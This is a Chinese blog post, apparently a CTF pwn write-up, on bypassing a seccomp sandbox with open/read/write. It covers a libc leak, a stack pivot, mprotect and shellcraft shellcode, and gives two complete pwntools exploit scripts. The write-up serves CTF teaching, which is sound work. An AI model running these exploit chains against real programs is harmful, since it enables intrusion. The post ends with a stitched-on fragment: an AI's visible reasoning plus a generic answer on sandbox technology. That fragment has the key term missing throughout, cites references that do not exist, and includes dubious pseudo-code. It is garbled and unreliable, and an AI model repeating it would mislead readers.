沙盒ORW

本文讲述了在CTF比赛中遇到的受限沙盒环境下的pwn题目解决方法,利用ORW技术绕过沙盒限制,结合IDA分析和栈迁移技巧,通过mprotect函数修改内存权限,最终获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

先说说什么是沙盒吧

        沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
  在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只能采取ORW,即open/read/write的组合方式来读取flag。

例题

废话不多说,直接上例题:

开启NX,64位,动态编译,IDA分析:

打印puts函数地址后栈溢出

第一时间想到了libc做法,但是发现报错了,查看之后发现开启了沙盒

终端查看指令:seccomp-tools dump ./文件名

其实有时候在IDA里也可以查看是否开启沙盒保护,例如今年的HGAME比赛pwn的第二题:

你可以直接在IDA里看到这一串伪代码,其中seccomp函数就是沙盒保护开启的标志

但是今天我要讲的例题在IDA中看不出来,因此我们使用指令查看(后续会出HGAME题目的分析,有兴趣的朋友可以关注看后续

继续分析本道例题:

因为题目开启沙盒,限制execve的系统调用,因此我们并不能通过常规的one_gadget和system调用来得到flag,因此我使用了orw的方法来解题

思路如下:

既然题目开始就给了我们puts函数的地址,那我们就可以接收后直接得到libc基址

那就有人要问了,不是不调用system了嘛,还要基址干嘛

这是为了调用mprotect函数,这边为以后做题增加了一个新思路,就是以后有libc基址可以调用mprotect函数

通过调用mprotect函数我们可以修改bss段地址的权限为可读可写可执行(rwx)

随后我们就可以通过open/read/write的组合方式来读取flag

前面求出libc基址,随后我们就可以通过libc基址求出三个函数的地址直接调用读取flag。

你以为到这就完了嘛

其实到这之后还是不行,运行脚本会发现没有执行mprotect函数

这就需要通过栈迁移,将bss段迁到栈上不就可以执行了,不会的朋友可以看看我第一篇博文

https://blog.youkuaiyun.com/2301_79880752/article/details/135721773?spm=1001.2014.3001.5501

实操康康吧:

先看看思路一的吧

首先接收puts函数地址,求出libc基址:

可以看到成功打印出libc基址

接下来需要先查找一个bss段地址,并将其迁到栈上:

在IDA伪代码处Ctrl+s查找bss段地址

可以看到,read函数读入位置也是成功迁移到了bss段上,这样就将bss段迁到了栈上

在写入rop链之前我们还需要计算mprotect的地址,以及其所需要的三个寄存器的地址

mprotect函数的地址只需要用libc基址加上它的偏移即可求出

随后使用指令:ROPgadget --binary 文件名  --only 'pop|ret'   来查找所需的寄存器地址

发现只有一个rdi的地址,并没有rsi跟rdx的,这边就要将一个新的知识点了

有时候我们会发现找不到需要的寄存器,这时候我们可以调用libc里的寄存器,当然这需要远程有提供libc基址

只需要将指令 ROPgadget --binary 文件名  --only 'pop|ret'  文件名改为libc的路径,就可以找到寄存器在libc中的偏移

注意:

找rdx偏移时不能找pop-rdx,要找pop rdx,r12,就是后面得再跟一个,因为高版本的虚拟机会卡

可以看到我们也是成功找到了,值得一提的是,打远程时这些地址需要重新寻找,因为远程的libc库可能跟本地的不一样,找出来的偏移也不一样

这时候我们已经可以调用mprotect函数修改bss段权限了

这里将修改地址后三位改为0,不懂的朋友可以看看我前面专门解释mprotect的博文

https://blog.youkuaiyun.com/2301_79880752/article/details/135828763?spm=1001.2014.3001.5501

接下来就剩下orw了

这里调用orw有两种思路,其一是直接构造open/read/write函数,当然这就需要再通过lilbc去寻找orw的地址,再手搓出rop链了,但这种方法不需要我们再调用mprotec函数修改权限,直接用栈迁移就可以实现,其二是使用asm工具直接生成汇编代码,但这种方法需要调用mprotect函数去修改bss段权限去执行asm生成的汇编代码

这边只为大家讲解第二种思路,因为第二种思路实际上更加节省字节,最后会将两种思路的脚本都给到大家

使用orw,我们需要先调用open函数打开根目录flag文件,再调用read函数从中读入得到的flag,最后调用write函数将flag打印出来

这里因为我们需要从flag中读取数据,因此read函数的第一个参数为3(一般情况下为1)

至此,本题的脚本编写完毕

运行脚本发现确实可以获取flag:

由于这边博🐖打的是本地,因此得到的flag也是博🐖自己本地的,打远程的时候是可以获取远程的flag的,这个大家不用担心

思路一脚本:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
         gdb.attach(p)
         pause()
rdi=0x00000000004012c3         
bss=0x404040+0x200
read=0x401220
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
rsi=libc_base+0x000000000002be51
rdx_r12=libc_base+0x000000000011f497
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
payload  =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(bss+0x20)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)

payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(read_addr)

payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(write_addr)

pay=b'a'*(0x20)+p64(bss+0x20)+p64(read)    
bug()
p.sendline(pay)
pause()
p.send(b'a'*(0x20)+payload)
p.interactive()  

思路二脚本:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("node4.buuoj.cn",29608)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./pwn")
elf=ELF("./pwn")
def bug():
	gdb.attach(p)
	pause()
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))

bss=0x404040
rdi=0x00000000004012c3
pay=b'a'*0x20+p64(bss+0x20)+p64(0x401220)
p.send(pay)

pause()

rsi=libc_base+0x000000000002be51
rdx_r12=libc_base+0x000000000011f497
mprotect=libc_base+libc.sym['mprotect']

pay=b'a'*0x28
pay += p64(rdi)
pay += p64(0x404000)
pay += p64(rsi)
pay += p64(0x1000)
pay += p64(rdx_r12)
pay += p64(7)*2
pay += p64(mprotect)
pay += p64(bss+0x28+0x48)
pay += asm(shellcraft.open("/flag"))
pay += asm(shellcraft.read(3,bss+0x500,0x100))
pay += asm(shellcraft.write(1,bss+0x500,0x100))

p.send(pay)

p.interactive()

<think>嗯,用户想了解技术的实现原理、安全性和虚拟化相关内容。首先,我需要回忆一下的基本概念。技术听起来像是一种隔离环境,用于运行不受信任的程序,防止它们对系统造成损害。根据用户提供的引用,分为传统虚拟技术型和策略限制型两种,比如引用[^1]提到的。 接下来,实现原理方面,可能涉及进程隔离、虚拟化技术、策略限制等。比如引用[^4]提到移动应用中的安全容器,通过应用虚拟化隔离工作区。虚拟化可能包括文件系统、注册表、网络资源的虚拟化,这样程序在中的操作不会影响真实系统。 安全性方面,安全模型可能存在矛盾,比如引用[^2]指出防泄密时假设本机系统不可信,但隔离又依赖本机系统的可信性。这需要解释传统和防泄密的不同应用场景和潜在问题。 虚拟化技术部分,用户可能想知道如何利用虚拟化,比如引用[^3]提到箱作为受控的虚拟环境分析恶意软件行为。这里需要区分全虚拟化和轻量级虚拟化,如Docker容器与的区别。 用户可能还关心的应用场景,比如恶意软件分析、软件开发测试、移动应用隔离等。引用提到MAM中的安全容器,用于企业数据隔离。需要结合这些引用说明不同场景下的技术实现。 另外,用户的问题可能隐含想了解技术的优缺点,比如性能开销、逃逸风险等。根据引用,防泄密的模型矛盾可能导致安全隐患,需要指出这点。 最后,生成相关问题时要覆盖原理、实现方式、安全性、应用和挑战,确保问题能引导用户深入理解。比如询问如何防止恶意软件逃逸,或者策略限制型的具体技术。</think>### 技术原理与实现分析 #### 一、核心原理 技术通过**隔离与虚拟化**实现安全控制,其核心逻辑可总结为: $$安全控制 = 隔离边界 + 资源虚拟化 + 策略限制$$ 1. **进程隔离**:通过命名空间隔离(Linux namespaces)或作业对象(Windows Job Objects)创建独立执行环境[^1] 2. **虚拟化层**:构建虚拟文件系统、注册表、网络接口等资源,如引用[^3]所述恶意软件分析环境 3. **策略引擎**:基于白名单/黑名单控制进程行为,拦截高危操作(如驱动安装、底层磁盘访问)[^1] #### 二、关键技术实现 1. **传统虚拟化**(引用类型一) - 使用硬件辅助虚拟化(Intel VT-x/AMD-V) - 完整虚拟化示例: ```c // 伪代码示意虚拟CPU上下文切换 vmx_vmwrite(VMCS_GUEST_CR3, guest_cr3); vmx_vmwrite(VMCS_CTRL_ENTRY_INTERRUPTION_INFO, INTR_TYPE_HW_EXCEPTION); ``` - 性能开销约15-30% 2. **策略限制型**(引用类型二) - 基于Windows Filtering Platform实现文件重定向: $$真实路径\ C:\file → 虚拟路径\ Sandbox\C\file$$ - 使用API Hook拦截关键系统调用 3. **移动端安全容器**(引用[^4]) - iOS实现: ```objective-c // 设置容器目录访问权限 [fileManager setAttributes:@{NSFileProtectionKey:NSFileProtectionComplete} ofItemAtPath:containerPath error:nil]; ``` - Android Binder机制实现跨进程通信隔离 #### 三、安全模型矛盾性 如引用指出的悖论: $$可信假设冲突 = 可信进程隔离 + 不可信环境依赖$$ 在防泄密场景中,需要: 1. 假设宿主系统不可信 2. 但策略执行依赖宿主系统的安全组件 3. 可能通过TEE(可信执行环境)缓解该矛盾 #### 四、典型应用场景 1. 恶意软件动态分析(引用) 2. 企业移动数据隔离(引用) 3. 浏览器安全(如Chromium渲染进程隔离) 4. 软件开发测试环境
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值